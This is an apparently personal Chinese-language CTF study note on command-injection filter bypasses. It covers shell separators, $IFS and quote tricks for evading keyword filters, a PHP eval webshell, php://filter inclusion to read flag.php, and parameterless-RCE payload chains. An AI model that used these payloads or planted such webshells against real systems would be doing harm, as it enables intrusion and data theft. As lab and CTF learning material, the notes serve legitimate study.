0x01 Windows
其实是想从Linux开始的,=。=, 可是我把Ubuntu里mysql的密码忘了,靶机没搭好。😅
|,||,&,&&的区别(Linux 好像一样)
command 1 | command2
: 将①的输出作为②的输入
command 1 || command2
: 前面命令执行失败的时候才执行后面的命令
command 1 & command 2
: 前面的命令执行完后接着执行后面的命令
command 1 && command 2
: 前面的命令执行成功才执行后面的命令
转义
^
: 因为要写入php的一句话木马需要<
和>
符号,但是这两个符号有其他意思,所以需要转义。 如:^<?php ?^>
(用引号可以不用)
0x02 Linux
空格绕过
$IFS:
cat$IFS\chenlvtang.php
$IFS$一个数字 :
cat$IFS$2chenlvtang.php
${IFS}:
cat${IFS}chenlvtang.php
<:
cat<chenlvtang.php
<>:
cat<>chenltang.php
#需要写入权限{,}:
{cat,chenlvtang.php}
var:
chen=$'\x20(or x09)chenlvtang.php'&&cat$chen
%09(tab)
使用带
$
的命令时,有时候出不来,最好试试转义
反引号``
反引号中的内容会先执行,替换后,再执行主命令:
cat `echo chenlvtang.php`
ls
一个很简单的题目,结果因为自己不知道ls还有参数,所以直接使用ls的时候没看到flag文件,还以为那题很难。 =。=
-a: 列出所有文件,包括以
.
开头的隐藏文件
反斜杠”\“
一般来说,反斜杠是告诉shell不要转义了,但用在普通字母上,可以起到绕过某些正则的作用,如果过滤了flag,可以使用下面的形式绕过
cat f\lag
也可以用
ca""t
,ca''t
\
: 用在php一句话木马的变量上,如<?php @eval(\$_GET['233']) ?>
%0a
当过滤了
|
,&
,;
后,使用换行符%0a可以起到分隔命令的作用还可以绕过这个
$a, >/dev/null 2>&1
0x03 某些绕过
过滤了;
可以使用?>
进行绕过
过滤了.
使用通配符*
利用包含
先用include"$_GET[1]"
或者inclde$_GET[1]
,然后利用伪协议传参,1=php://filter/read=convert.base64-encode/resource=flag.php
套娃法(无参RCE)
localeconv():Returns an associative array containing localized numeric and monetary formatting information. 第一个是
.
current():每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元, 返回当前内部指针所指向的值
pos():current()的别名
next():将数组内部指针向前(就是指向下一位)移动一位
end():将数组内部指针指向最后一个单元
reset():将数组内部指针指向第一个单元
scandir():列出指定路径中的文件和目录,返回的是一个数组。scandir(‘.’),返回当前目录
array_flip(): 交换数组中的键值对
array_reverse():返回顺序相反的数组,就是倒过来啦
array_rand():随机返回一个数组下标
payload:①highlight_file/show_soure(next(array_reverse(scandir(current(localeconv())))));
,如果逆转后flag.php在第二个的话
②print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));
因为随机,所以多试几次,用 print_r()记得看源码
使用变量
a=f;b=lag*; cat $a$b